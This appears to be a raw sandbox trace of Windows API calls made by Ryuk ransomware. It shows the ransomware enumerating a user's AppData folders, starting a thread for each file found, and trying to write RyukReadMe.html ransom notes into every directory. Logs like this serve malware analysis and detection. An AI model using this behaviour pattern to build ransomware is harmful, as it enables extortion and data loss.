	[0211.008] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
	[0211.008] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658
	[0211.011] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.012] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
	[0211.012] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564
	[0211.014] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.015] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x200, dwReserved1=0x0, cFileName="oeold.xml", cAlternateFileName="")) returned 1
	[0211.015] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc
	[0211.018] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.018] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0211.018] SetLastError (dwErrCode=0x0) 
	[0211.018] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.019] GetLastError () returned 0x3
	[0211.019] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0211.019] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.019] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0211.019] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0211.019] SetLastError (dwErrCode=0x0) 
	[0211.019] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.019] GetLastError () returned 0x3
	[0211.019] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0211.019] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.020] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0211.020] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610
	[0211.022] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.023] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0211.023] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618
	[0211.025] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.026] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
	[0211.026] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0211.029] SetLastError (dwErrCode=0x0) 
	[0211.029] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.029] GetLastError () returned 0x3
	[0211.029] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0211.029] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.029] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
	[0211.029] SetLastError (dwErrCode=0x0) 
	[0211.029] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638
	[0211.030] GetLastError () returned 0xb7
	[0211.030] CloseHandle (hObject=0x638) returned 1
	[0211.030] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0211.031] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0211.031] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
	[0211.031] SetLastError (dwErrCode=0x0) 
	[0211.032] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.032] GetLastError () returned 0x3
	[0211.032] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0211.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.032] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0211.032] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0211.032] SetLastError (dwErrCode=0x0) 
	[0211.032] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.032] GetLastError () returned 0x3
	[0211.032] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0211.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.032] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 0
	[0211.033] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0211.033] SetLastError (dwErrCode=0x0) 
	[0211.033] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.033] GetLastError () returned 0x3
	[0211.033] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0211.033] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.033] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
	[0211.033] SetLastError (dwErrCode=0x0) 
	[0211.033] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638
	[0211.034] GetLastError () returned 0xb7
	[0211.034] CloseHandle (hObject=0x638) returned 1
	[0211.034] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x200, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0211.034] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0211.034] SetLastError (dwErrCode=0x0) 
	[0211.034] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.034] GetLastError () returned 0x3
	[0211.034] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0211.035] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.035] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
	[0211.035] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0211.035] SetLastError (dwErrCode=0x0) 
	[0211.035] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0211.036] GetLastError () returned 0xb7
	[0211.036] CloseHandle (hObject=0x5c4) returned 1
	[0211.036] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0211.036] SetLastError (dwErrCode=0x0) 
	[0211.036] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0211.411] GetLastError () returned 0xb7
	[0211.411] CloseHandle (hObject=0x5c4) returned 1
	[0211.412] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0211.413] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0211.413] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0211.413] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0211.413] SetLastError (dwErrCode=0x0) 
	[0211.413] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft help\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.413] GetLastError () returned 0x3
	[0211.414] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0) returned 0
